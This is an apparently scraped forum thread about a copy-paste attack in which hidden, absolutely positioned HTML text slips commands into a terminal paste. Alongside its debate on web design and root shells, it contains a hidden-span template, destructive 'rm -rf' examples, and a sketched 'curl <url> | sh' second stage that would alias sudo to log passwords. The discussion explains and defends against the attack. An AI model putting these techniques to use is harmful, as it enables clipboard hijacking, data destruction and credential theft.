This uses only HTML and basic CSS (for positioning). There's absolute no "application-delivery" features being used here.

Valid point. "Design-delivery platform", then.

My big point is that this is one of the many ways that the ambitious goals of the browser makers and authors of web standards screw up the workflows of those trying to use the web for reading and "allied activites" like navigating, scrolling and cutting and pasting.

These ambitious goals include assisting app developers and assisting design professionals (design professionals on the internet intersecting very strongly with "professional persuaders" on the internet).

Note that I am not saying that these ambitious goals are worthless or nefarious, just that maintaining a smooth and reliable way to share static documents over the internet is important, too.

The reason that the web is popular is because it supports these features for design-delivery and application delivery.

You could probably implement an online text reading system with basic markup and hyperlinks over a weekend, but the problem would be that nobody would use it because it would be seen as strictly inferior to the web.

I hope you are not setting up a false dichotomy in your mind between the web as it is now and an online text-reading system with no design touches.

I would want this "text-reading system" for example to have something like CSS. The difference would be that instead of creating ever-more powerful versions of CSS and Javascript, the architects and implementors of the text-reading system would pay attention to gotchas like the gotcha described in the OP (changing browsers so that what is copied into the clipboard is exactly the visible text the user has highlighted).

Thing is that the ever more complicated web is a response to demand, from developers and from users.

If at some point we had said "the web is powerful enough now, let's stop" then inevitably somebody like Microsoft or Google would have developed some other system that incorporated everything that the web does + extra stuff. In fact that's basically what stuff like Flash/ActiveX was in the late 90s.

Then gradually people would have switched to this new thing and the web would have gone the way of gopher and usenet.

Of course, if we could have redesigned the web from scratch right now with all the benefit of hindsight we could have (in theory) designed a better system. But as with most open things they rely on evolution rather than intelligent design.

So, are you saying we shouldn't have text positioning? Because I'm pretty sure that's been a feature of documents since before Gutenberg.

I can understand your gripe, but I simply don't see how it applies here.

Maybe I am wrong, but I have been assuming that if the maintainers of the browsers cared only about readers and writers (and not about application users and application developers, or potential customers and marketers) they would change the browsers so that what is copied into the clipboard is exactly the text that has been highlighted and is visible on the page and nothing more. Even if browsers worked that way, they can have text positioning.

If browsers were pure document viewers, I think it's much more likely that they would simply have only a maintainer or two, and most developers currently maintaining browsers would be doing more valuable and interesting work, like developing application platforms.

And that couple of maintainers would probably still have more important things to fix than what's essentially a curious but not really problematic bug.

I disagree. The mechanism used for this is pretty basic html/css. The HTML looks like:

<p class="codeblock"">

git clone

<span style="position: absolute; left: -100px; top: -100px">

[Evil code]

</span>

      git://git.kernel.org/pub/scm/utils/kup/kup.git

<\p>

And another good reason to not work in root shells routinely. As damaging as something like this might still be, it will be confined to just one account if you are not running as root.

Sadly this is not complete protection. Many Linux distributions configure sudo to prompt for the password only once every 15 minutes or so. If you have successfully executed sudo in your terminal within the last 15 minutes, any malicious code that you run can silently escalate its privileges to root just by starting with "sudo -i;".

You need to have the following in /etc/sudoers in order to be truly protected by not being logged-in as root:

    Defaults timestamp_timeout=0

I always thought this concept to be silly unless you are a sysadmin.

For most people who are not sysadmins losing ~ is much worse than losing /. Go ahead and wipe my OS, I just care for my photos to be safe.

Could you please tell me in which directory your ~ directory is and in which directory that directory is?

You either enjoy pointless nitpicking or have entirely missed my point.

No, he did not: typing rm -rf / into a root shell will delete the OS and your home directory.

It is a little more complicated than that, but the complications do not really affect very much. Last time I installed Debian around 2005 the documentation encouraged me to give /home its own partition, in which case rm -rf / will not get it. But on OS X the default is to put everything in one big partition and I kind get the feeling that Linux has moved that way, too. And even if /home is on its own partition, there are many ways for the malefactor to get /home, e.g., rm -rf /home.

Yes, you both did. To a user losing / is just as bad as losing ~, because ~ is all she cares about, not her OS settings, hence why I think the idea that running as root is worse than running as an unprivileged user is silly in this context.

They are effectively the same: an unknown script executing "rm -rf ~" with an unprivileged user is going to cause as much grief as root running "rm -rf /".

I couldn't care less that the system is still up if all my data is gone.

Also, I believe “rm -r” traverses mount points.

at a place I used to worked they aliased rm to rm -i by default. It was kind of annoying but we all knew why they did it.

Not to mention that it's sysadminny-types that you turn to when your OS is hosed and you want to recover data from your drive - having little or no sysadmin skills means recovery and reinstall is very much not trivial.

Even if you're not root, if you're having trouble setting something up (which is why you're copying things off the web in the first place), you likely have a fresh sudo timestamp, so the attacker could become root anyway.

True, though not very comforting since it's presumably running in a shell that has access to all your files and is where you do all your work.

I think that's bad advice: you would likely be running as your user account, the one owning all your important data.

Well, if I had really wanted to build a serious attack instead of a harmless PoC, I'd have downloaded a second stage via `curl <url> | sh`, and that script would, for example, set aliases in your shell for `su` and `sudo` that call the real commands but log your password in the background. Unless you're using requiretty, of course, but I don't assume that you're using a real tty.

>One of many examples by which making the web a better "application-delivery" platform makes it less secure, less reliable, less predictable and more tedious in its original role of sharing text, images and links.

Or, in other words, "examples by which making the web do something useful, makes it less reliable and predictable that just letting it stagnate at the original goal it has in 1991 that people don't really care about".

But there's the other side of the coin - usually making things more secure means making them less useful and less fun.